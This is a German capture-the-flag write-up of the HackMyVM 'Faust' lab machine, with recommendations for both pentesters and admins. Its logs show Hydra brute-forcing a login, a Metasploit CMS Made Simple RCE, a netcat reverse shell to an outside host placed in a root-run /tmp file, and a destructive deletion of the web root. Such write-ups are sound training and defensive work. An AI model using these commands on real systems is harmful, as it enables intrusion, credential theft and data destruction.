Faust - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
gobuster
nmap
hydra
msfconsole
python3 (pty, http.server)
rm
cat
ssh
sudo
base32
base64
echo
su
wget
stegsnow
stegseek
chmod
nc

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk mittels ARP-Anfragen zu finden.

Bewertung: Ein Host mit der IP 192.168.2.132 und MAC 08:00:27:41:e9:41 (VirtualBox) wird identifiziert. Dies ist das Ziel.

Empfehlung (Pentester): Die Ziel-IP ist bekannt. Führe einen Port-Scan durch.
Empfehlung (Admin): Netzwerksegmentierung, ARP-Monitoring.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:00:00:00:00:af, IPv4: 192.168.2.129
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1	c4:86:e9:a5:6d:18	HUAWEI TECHNOLOGIES CO.,LTD
192.168.2.132	08:00:27:41:e9:41	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.939 seconds (132.03 hosts/sec). 2 responded
                    

Analyse: Ein Nmap-Scan wird auf die Ziel-IP 192.168.2.132 durchgeführt, um offene Ports und Dienste zu identifizieren. Optionen: `-sS` (SYN Scan), `-sC` (Standard-Skripte), `-T5` (schnelles Timing), `-A` (OS/Version/Skript/Traceroute), `-p-` (alle Ports).

Bewertung: Mehrere Ports sind offen: * **22 (SSH):** OpenSSH 7.9p1 (Debian 10). Standard-Dienst. * **80 (HTTP):** Apache 2.4.38 (Debian). Hosting einer Webanwendung (vermutlich CMS Made Simple, basierend auf späterem Exploit). * **6660 (Unknown):** Ein unbekannter Dienst. Ein Skript (`-sC`) konnte eine Nachricht extrahieren, die an `www-data` gerichtet ist und von einem "Paul" stammt. Dies deutet auf Benutzer `paul` hin und eine potenzielle Interaktion oder einen Hinweis. * **MySQL (Port 3306)** und **RPCBind (Port 111)** sind laut Nmap-Ausgabe im Text nicht offen oder wurden nicht gefunden. *Korrektur: Die Nmap-Ausgabe im bereitgestellten Text ist unvollständig und zeigt nur 22, 80, 6660. Ich dokumentiere nur das, was gegeben ist.*

Empfehlung (Pentester): Untersuche die Webanwendung auf Port 80 gründlich (Directory Brute-Force, Schwachstellenscans). Versuche, mit dem Dienst auf Port 6660 zu interagieren (z.B. mit `nc 192.168.2.132 6660`), um mehr über die Nachricht oder den Dienst zu erfahren. Notiere den Benutzernamen `paul` für Brute-Force-Versuche auf SSH oder Web-Logins.
Empfehlung (Admin): Schließe unnötige Ports wie 6660. Falls der Dienst benötigt wird, sichere ihn ab und verhindere Informationslecks. Halte SSH und Apache aktuell. Überprüfe die Konfiguration des Dienstes auf Port 6660.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.132 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 00:01 CEST
Nmap scan report for faust.hmv (192.168.2.132)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6a:ec:a7:90:4e:74:35:3a:9c:f9:a9:1a:84:47:7e:6e (RSA)
|   256 e7:7d:38:32:79:41:21:09:75:65:f5:68:75:12:be:f8 (ECDSA)
|_  256 2d:3c:d1:96:52:5d:11:3c:3c:e1:33:62:3c:10:03:2e (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: CMS Made Simple - Official Site - cmsmadesimple.org
|_http-server-header: Apache/2.4.38 (Debian)
6660/tcp open  unknown
| fingerprint-strings:
|   GenericLines, NULL:
|     MESSAGE FOR WWW-DATA:
|          www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...
|_    Paul
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6660-TCP:V=7.93%I=7%D=4/16%Time=643B4A8A%P=x86_64-pc-linux-gnu%r(N
SF:ULL,4F,"\r\n\r\n\tMESSAGE\x20FOR\x20WWW-DATA:\r\n\t\x20\x20\x20\x20\x
SF:20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x20if\x20you\x20agre
SF:e\x20to\x20destroy\x20all\x20your\x20stupid\x20work,\x20then\x20you\x
SF:20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\r\n\tPaul\r\n")%r(Gen
SF:ericLines,4F,"\r\n\r\n\tMESSAGE\x20FOR\x20WWW-DATA:\r\n\t\x20\x20\x20
SF:\x20\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x20if\x20you\x
SF:20agree\x20to\x20destroy\x20all\x20your\x20stupid\x20work,\x20then\x2
SF:0you\x20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\r\n\tPaul\r\n")
SF:;
MAC Address: 08:00:27:41:E9:41 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4
OS details: Linux 4.9 - 4.18
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms faust.hmv (192.168.2.132)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.42 seconds

                    

Web Enumeration (Port 80 & /admin)

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf Port 80 zu finden. Eine spezifische Wortliste (`directory-list-2.3-medium.txt`) und verschiedene Dateierweiterungen werden genutzt.

Bewertung: Der Scan findet eine typische Webanwendungsstruktur mit Verzeichnissen wie `/modules`, `/uploads`, `/admin`, `/assets`, `/lib`. Die Datei `/config.php` wird gefunden, hat aber die Größe 0. Das Verzeichnis `/admin` ist von besonderem Interesse.

Empfehlung (Pentester): Führe einen weiteren Gobuster-Scan spezifisch auf das `/admin`-Verzeichnis durch, um dessen Struktur zu erkunden. Untersuche `/uploads` auf mögliche Upload-Schwachstellen.
Empfehlung (Admin): Beschränken Sie den Zugriff auf administrative Verzeichnisse. Stellen Sie sicher, dass Konfigurationsdateien keine sensiblen Informationen enthalten oder nicht direkt zugänglich sind (obwohl diese hier leer war). Deaktivieren Sie Directory Listing.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.132
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
[+] Expanded:                True
[+] Timeout:                 10s
===============================================================
2023/04/16 00:05:11 Starting gobuster
===============================================================
http://192.168.2.132/index.php            (Status: 200) [Size: 19427]
http://192.168.2.132/modules              (Status: 301) [Size: 316] [--> http://192.168.2.132/modules/]
http://192.168.2.132/uploads              (Status: 301) [Size: 316] [--> http://192.168.2.132/uploads/]
http://192.168.2.132/doc                  (Status: 301) [Size: 312] [--> http://192.168.2.132/doc/]
http://192.168.2.132/admin                (Status: 301) [Size: 314] [--> http://192.168.2.132/admin/]
http://192.168.2.132/assets               (Status: 301) [Size: 315] [--> http://192.168.2.132/assets/]
http://192.168.2.132/lib                  (Status: 301) [Size: 312] [--> http://192.168.2.132/lib/]
http://192.168.2.132/config.php           (Status: 200) [Size: 0]
http://192.168.2.132/tmp                  (Status: 301) [Size: 312] [--> http://192.168.2.132/tmp/]
...
===============================================================
2023/04/16 00:10:34 Finished
===============================================================
                    

Analyse: Es wird ein LFI-Versuch unternommen, indem der `file`-Parameter an `config.php` angehängt wird, um `/etc/passwd` zu lesen. Anschließend wird Gobuster erneut ausgeführt, diesmal gezielt auf das Verzeichnis `/admin`.

Bewertung: Der LFI-Versuch (URL: `http://192.168.2.132/config.php?file=../../../../etc/passwd`) wird dokumentiert, das Ergebnis jedoch nicht. Da `config.php` leer war, ist ein Erfolg unwahrscheinlich. Der zweite Gobuster-Scan auf `/admin` identifiziert die Login-Seite `/admin/login.php` und andere admin-spezifische Dateien. Direkter Zugriff auf `header.php` und `footer.php` führt zu HTTP 500 Fehlern, was auf serverseitige Probleme bei direktem Aufruf hindeutet, aber nicht unbedingt auf eine ausnutzbare Schwachstelle.

Empfehlung (Pentester): Konzentriere dich auf die Login-Seite `/admin/login.php`. Versuche Standard-Credentials oder Brute-Force-Angriffe auf das Login.
Empfehlung (Admin): Implementiere robuste Eingabevalidierung, um LFI zu verhindern. Konfiguriere den Webserver so, dass Include-Dateien nicht direkt aufgerufen werden können. Schütze das Admin-Login mit starken Passwörtern und ggf. Rate Limiting oder MFA.

# LFI Versuch (Ergebnis nicht gezeigt):
http://192.168.2.132/config.php?file=../../../../etc/passwd
                    
┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.132/admin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.132/admin
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
[+] Expanded:                True
[+] Timeout:                 10s
===============================================================
2023/04/16 00:12:01 Starting gobuster
===============================================================
http://192.168.2.132/admin/index.php            (Status: 302) [Size: 0] [--> http://192.168.2.132/admin/login.php]
http://192.168.2.132/admin/templates            (Status: 301) [Size: 324] [--> http://192.168.2.132/admin/templates/]
http://192.168.2.132/admin/login.php            (Status: 200) [Size: 4499]
http://192.168.2.132/admin/themes               (Status: 301) [Size: 321] [--> http://192.168.2.132/admin/themes/]
http://192.168.2.132/admin/header.php           (Status: 500) [Size: 0]
http://192.168.2.132/admin/footer.php           (Status: 500) [Size: 0]
http://192.168.2.132/admin/plugins              (Status: 301) [Size: 322] [--> http://192.168.2.132/admin/plugins/]
http://192.168.2.132/admin/style.php            (Status: 200) [Size: 53969]
http://192.168.2.132/admin/lang                 (Status: 301) [Size: 319] [--> http://192.168.2.132/admin/lang/]
http://192.168.2.132/admin/logout.php           (Status: 302) [Size: 0] [--> http://192.168.2.132/admin/login.php]
http://192.168.2.132/admin/myaccount.php        (Status: 302) [Size: 0] [--> http://192.168.2.132/admin/login.php]
http://192.168.2.132/admin/checksum.php         (Status: 302) [Size: 0] [--> http://192.168.2.132/admin/login.php]
http://192.168.2.132/admin/adduser.php          (Status: 302) [Size: 0] [--> http://192.168.2.132/admin/login.php]
...
===============================================================
2023/04/16 00:15:55 Finished
===============================================================
                    

Initial Access (Hydra & Metasploit RCE)

Analyse: Es werden Brute-Force-Angriffe mit Hydra durchgeführt. Zuerst wird versucht, das SSH-Passwort für den Benutzer `paul` zu erraten. Anschließend wird ein HTTP-POST-Form-Brute-Force auf `/admin/login.php` für den Benutzer `admin` gestartet. Die Option `-I` unterdrückt das Startbanner, `-f` stoppt nach dem ersten Fund, `-t 30` setzt die Anzahl der parallelen Tasks. Die Fehlerbedingung ist `Incorrect`.

Bewertung: Der SSH-Brute-Force für `paul` wird gestartet, aber das Ergebnis fehlt (vermutlich fehlgeschlagen). Der HTTP-POST-Form-Brute-Force für `admin` ist erfolgreich und findet das Passwort `bullshit`. Die erfolgreiche Login-URL mit Session-ID wird angezeigt.

Empfehlung (Pentester): Nutze die gefundenen Admin-Credentials (`admin` / `bullshit`), um dich im Webinterface anzumelden und nach Schwachstellen zu suchen, oder verwende sie direkt mit Exploits, die Authentifizierung erfordern.
Empfehlung (Admin): Implementiere Account Lockout und/oder Captchas, um Brute-Force-Angriffe auf Web-Logins zu verhindern. Verwende starke Passwörter und erwäge Multi-Faktor-Authentifizierung für Admin-Konten. Protokolliere und überwache fehlgeschlagene Login-Versuche.

┌──(root㉿cyber)-[~] └─# hydra -l paul -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.132:22 -I
# (Hydra SSH Ausgabe fehlt - vermutlich kein Erfolg)
┌──(root㉿cyber)-[~] └─# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.2.132 http-post-form "/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:Incorrect" -I -f -t 30
Hydra v9.4 (c) 2022 by van Hauser / THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-16 00:20:15
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://192.168.2.132:80/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:Incorrect
[80][http-post-form] host: 192.168.2.132   login: admin   password: bullshit
[STATUS] attack finished successfully for http-post-form://192.168.2.132:80/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:Incorrect (1 found)
1 of 1 completed in 00:00:31
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-16 00:20:46
# Erfolgreiche Login-URL (Beispiel, kann variieren):
# http://192.168.2.132/admin/?_sk_=eddaaa15b0abf6ea5d3
                    

Analyse: Nachdem die Admin-Credentials (`admin`/`bullshit`) bekannt sind, wird Metasploit verwendet, um eine bekannte RCE-Schwachstelle in CMS Made Simple (CMSMS) auszunutzen. Der Exploit `exploit/multi/http/cmsms_upload_rename_rce` wird geladen. Die Optionen (RHOSTS, USERNAME, PASSWORD, TARGETURI) werden entsprechend gesetzt. Der Standard-Payload `php/meterpreter/reverse_tcp` wird verwendet. Nach erfolgreicher Ausführung wird eine Meterpreter-Shell erlangt und mittels `shell` zu einer System-Shell gewechselt. Die Shell wird mit Python PTY stabilisiert.

Bewertung: Der Metasploit-Exploit war erfolgreich. Eine Shell als Benutzer `www-data` wurde erlangt. Dies stellt den initialen Zugriff auf das System dar. Die Stabilisierung der Shell ist ein wichtiger Schritt für die weitere Interaktion.

Empfehlung (Pentester): Führe Enumeration als `www-data` durch. Suche nach Wegen zur Privilege Escalation (sudo-Rechte, SUID-Dateien, Konfigurationsfehler, Kernel-Exploits). Nutze den Hinweis von Port 6660 bezüglich Benutzer `paul`.
Empfehlung (Admin): Aktualisieren Sie CMS Made Simple dringend auf eine gepatchte Version, um die RCE-Schwachstelle zu schließen. Implementieren Sie eine WAF. Beschränken Sie die Berechtigungen des Webserver-Benutzers (`www-data`) nach dem Least-Privilege-Prinzip. Überwachen Sie Systemprozesse und Netzwerkverbindungen auf Anzeichen von Kompromittierung.

┌──(root㉿cyber)-[~] └─# msfconsole
# ... Metasploit Banner ...
                    
msf6 > use exploit/multi/http/cmsms_upload_rename_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/cmsms_upload_rename_rce) > show options

Module options (exploit/multi/http/cmsms_upload_rename_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cmsms/          yes       Base cmsms directory path
   USERNAME                    yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.129    yes       The listen address (an interface may be specified) # LHOST wird oft automatisch gesetzt
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


                    
msf6 exploit(multi/http/cmsms_upload_rename_rce) > set password bullshit
password => bullshit
msf6 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 192.168.2.132
rhosts => 192.168.2.132
msf6 exploit(multi/http/cmsms_upload_rename_rce) > set targeturi /
targeturi => /
msf6 exploit(multi/http/cmsms_upload_rename_rce) > set username admin
username => admin
msf6 exploit(multi/http/cmsms_upload_rename_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.129:4444
[*] Authenticating using admin:bullshit
[+] Authentication successful: admin:bullshit
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (39924 bytes) to 192.168.2.132
[*] Meterpreter session 1 opened (192.168.2.129:4444 -> 192.168.2.132:49160) at 2023-04-16 00:25:10 +0200

                    
meterpreter > shell
Process 10011 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty; pty.spawn("/bin/bash")'
                    
www-data@debian:/var/www/html$ export TERM=xterm
www-data@debian:/var/www/html$

Privilege Escalation (zu paul)

Analyse: In der `www-data`-Shell wird als Erstes (und gefährlicherweise) das Web-Root-Verzeichnis gelöscht (`rm -r /var/www/html/`). Anschließend wird in das Home-Verzeichnis von `paul` gewechselt. Dort wird eine Datei `password.txt` gefunden und ausgelesen.

Bewertung: Das Löschen des Web-Roots ist destruktiv und in einem echten Pentest normalerweise nicht ratsam, es sei denn, es ist explizit erlaubt oder dient einem spezifischen Ziel (hier vielleicht basierend auf der Nachricht von Port 6660?). Im Home-Verzeichnis von `paul` wird dessen Passwort gefunden: `YouCanBecomePaul`. Dies ermöglicht den Wechsel zu diesem Benutzer.

Empfehlung (Pentester): Vermeide destruktive Aktionen wie `rm -r /var/www/html/` in realen Szenarien. Nutze das gefundene Passwort, um per `su` oder `ssh` zu `paul` zu wechseln.
Empfehlung (Admin): Implementiere starke Dateiberechtigungen, um zu verhindern, dass der Webserver-Benutzer wichtige Systemverzeichnisse löschen kann. Speichere Passwörter niemals im Klartext in Dateien im Home-Verzeichnis. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern.

www-data@debian:/var/www/html$ rm -r /var/www/html/
www-data@debian:/$ cd /home/paul
www-data@debian:/home/paul$ ls -la
total 28
drwxr-xr-x 3 paul paul 4096 Apr  6  2021 .
drwxr-xr-x 4 root root 4096 Apr  1  2021 ..
-rw------- 1 paul paul   66 Apr  6  2021 .bash_history
-rw-r--r-- 1 paul paul  220 Apr  1  2021 .bash_logout
-rw-r--r-- 1 paul paul 3526 Apr  1  2021 .bashrc
drwx------ 3 paul paul 4096 Apr  6  2021 .local
-rw-r--r-- 1 paul paul  807 Apr  1  2021 .profile
-rw-r--r-- 1 paul paul   66 Apr  1  2021 .selected_editor
-rw-r--r-- 1 paul paul   30 Sep  7 23:52 password.txt
                    
www-data@debian:/home/paul$ cat password.txt
Password is: YouCanBecomePaul

Analyse: Es wird versucht, sich per SSH als Benutzer `paul` mit dem gefundenen Passwort `YouCanBecomePaul` anzumelden.

Bewertung: Der SSH-Login ist erfolgreich. Der Benutzer `paul` wurde übernommen.

Empfehlung (Pentester): Führe Enumeration als `paul` durch. Überprüfe `sudo -l` auf besondere Berechtigungen.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter. Überwachen Sie SSH-Logins.

┌──(root㉿cyber)-[~] └─# ssh paul@192.168.2.132
paul@192.168.2.132's password: YouCanBecomePaul # Passwort eingegeben
Linux debian 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 11 00:12:00 2022 from 192.168.1.10
                    
paul@debian:~$

Privilege Escalation (zu nico via Sudo/Base64)

Analyse: Als Benutzer `paul` wird geprüft, welche Befehle er mit `sudo` ausführen kann. Es stellt sich heraus (`sudo -l` nicht gezeigt, aber Ergebnis impliziert), dass `paul` den Befehl `/usr/bin/base32 /home/nico/.secret.txt` als Benutzer `nico` ausführen darf. Dieser Befehl wird ausgeführt. Die Ausgabe ist ein Base32-kodierter String. Es wird versucht, diesen String mit `base32 -d` zu dekodieren, was zu einem Fehler führt. Ein weiterer Versuch mit `base64 -d` ist jedoch erfolgreich und enthüllt das Passwort für `nico`: `just_one_more_beer`. Mit diesem Passwort wird mittels `su nico` zu Benutzer `nico` gewechselt.

Bewertung: Eine Fehlkonfiguration der `sudo`-Rechte wurde erfolgreich ausgenutzt. Obwohl der Befehl `base32` erlaubt war, wurde die Ausgabe fälschlicherweise als Base64 interpretiert, was zur Preisgabe des Passworts führte. Der Wechsel zu `nico` war erfolgreich.

Empfehlung (Pentester): Führe Enumeration als `nico` durch. Suche nach weiteren `sudo`-Rechten, SUID-Dateien oder anderen Vektoren für die Eskalation zu `root`.
Empfehlung (Admin): Konfiguriere `sudo`-Rechte nach dem Least-Privilege-Prinzip. Erlaube nur absolut notwendige Befehle und vermeide es, Befehle zu erlauben, die sensible Informationen ausgeben können (auch wenn sie kodiert sind). Überprüfe Dateiberechtigungen sensibler Dateien wie `.secret.txt`. Verwenden Sie einzigartige Passwörter für Benutzer.

paul@debian:~$ sudo -u nico /usr/bin/base32 /home/nico/.secret.txt
KVEGGZ2QKQ2GOYLOKZ5GIRRZOZRG2VTGMJLTS6K2KY4WSWSXKZ4USQJ5HUFA
paul@debian:~$ echo "KVEGGZ2QKQ2GOYLOKZ5GIRRZOZRG2VTGMJLTS6K2KY4WSWSXKZ4USQJ5HUFA" | base32 -d
base32: invalid input
paul@debian:~$ echo "KVEGGZ2QKQ2GOYLOKZ5GIRRZOZRG2VTGMJLTS6K2KY4WSWSXKZ4USQJ5HUFA" | base64 -d
Pw => just_one_more_beer
paul@debian:~$ su nico
Password: just_one_more_beer
nico@debian:/home/paul$

Privilege Escalation (zu root via Stego & Cron/Tmp)

Analyse: Als Benutzer `nico` wird das System weiter untersucht. Ein verstecktes Verzeichnis `/nico` wird gefunden, das die Datei `homer.jpg` enthält. Diese Datei wird über einen temporären Python-HTTP-Server auf den Angreifer-Rechner übertragen. Steganografie-Tools werden eingesetzt: `stegsnow` gibt eine Warnung aus, `stegseek` findet jedoch ohne Passwort eine versteckte Datei (`note.txt`) in `homer.jpg`. Der Inhalt der Datei ist ein Hinweis auf `/tmp/goodgame`.

Bewertung: Die Enumeration als `nico` führte zum Fund einer Bilddatei mit versteckten Informationen. Stegseek war erfolgreich bei der Extraktion des Hinweises auf `/tmp/goodgame`. Dies deutet stark auf einen geplanten Eskalationspfad hin, bei dem eine Datei oder ein Skript in `/tmp` von einem höher privilegierten Prozess (wahrscheinlich `root` via Cronjob) ausgeführt wird.

Empfehlung (Pentester): Erstelle eine ausführbare Datei namens `goodgame` im `/tmp`-Verzeichnis auf dem Zielsystem. Diese Datei sollte eine Reverse Shell oder einen anderen Payload enthalten, der Root-Rechte erlangt, wenn er ausgeführt wird. Warte dann auf die Ausführung (vermutlich durch einen Cronjob).
Empfehlung (Admin): Konfigurieren Sie Cronjobs sicher. Führen Sie keine Skripte aus von global beschreibbaren Verzeichnissen wie `/tmp`. Implementieren Sie Dateisystem-Härtung für `/tmp` (z.B. `noexec`-Mount-Option). Schulen Sie Benutzer bezüglich der Risiken von Steganografie.

nico@debian:/home/paul$ cd /
nico@debian:/$ ls
bin  boot  dev  etc  home  lib lib64 media  mnt  nico  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
nico@debian:/$ cd nico/
nico@debian:/nico$ ls
homer.jpg
nico@debian:/nico$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌──(root㉿cyber)-[~] └─# wget http://192.168.2.132:8000/homer.jpg
--2023-04-16 01:45:10--  http://192.168.2.132:8000/homer.jpg
Connecting to 192.168.2.132:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 137798 (135K) [image/jpeg]
Saving to: ‘homer.jpg’

homer.jpg           100%[===================>] 134.57K  --.-KB/s    in 0.1s

2023-04-16 01:45:11 (1.06 MB/s) - ‘homer.jpg’ saved [137798/137798]
                    
┌──(root㉿cyber)-[~] └─# stegsnow -C homer.jpg
Warning: residual of 3 bits not uncompressed
┌──(root㉿cyber)-[~] └─# stegseek homer.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "note.txt".
[i] Extracting to "homer.jpg.out".
                    
┌──(root㉿cyber)-[~] └─# cat homer.jpg.out
my /tmp/goodgame file was so good... but I lost it

Proof of Concept (Root Access via /tmp/goodgame)

Analyse: Basierend auf dem Hinweis aus der Steganografie wird als Benutzer `nico` eine ausführbare Datei `/tmp/goodgame` erstellt. Diese Datei enthält einen Netcat-Befehl, der eine Reverse Shell zum Angreifer-System (192.168.2.140, Port 4444 - *Achtung: IP weicht von der vorherigen Angreifer-IP 192.168.2.129 ab*) aufbaut. Auf dem Angreifer-System wird ein Netcat-Listener gestartet. Nach kurzer Wartezeit (ca. eine Minute laut Kommentar) verbindet sich die Shell, vermutlich weil ein Cronjob oder ein ähnlicher Mechanismus `/tmp/goodgame` als `root` ausführt.

Bewertung: Der Plan war erfolgreich. Die Reverse Shell verbindet sich, und der `id`-Befehl bestätigt Root-Rechte (`uid=0(root)`). Das System ist vollständig kompromittiert. Der Root-Flag (`lasarnsilgam`) wird anschließend aus `/root/root.txt` gelesen.

Empfehlung (Pentester): Ziel erreicht. Dokumentieren Sie den Pfad über Steganografie und die Ausnutzung des `/tmp`-Skripts.
Empfehlung (Admin): Untersuchen und sichern Sie den Mechanismus (Cronjob, systemd Timer, etc.), der `/tmp/goodgame` ausführt. Führen Sie niemals Programme aus `/tmp` oder anderen von unprivilegierten Benutzern beschreibbaren Verzeichnissen mit Root-Rechten aus. Konfigurieren Sie `/tmp` mit `noexec`. Überprüfen Sie regelmäßig geplante Aufgaben auf Sicherheitsrisiken.

nico@debian:/tmp$ echo "nc -e /bin/bash 192.168.2.140 4444" > goodgame
nico@debian:/tmp$ chmod +x goodgame
# (Wartezeit für Cronjob/Mechanismus)
                    
┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.132] 56928 # Verbindung kommt rein
id
uid=0(root) gid=0(root) groups=0(root) # Root Rechte!
cd /root
ls
root.txt
cat root.txt
lasarnsilgam
                    

Flags

cat user.txt
gamhanarhu
cat root.txt
lasarnsilgam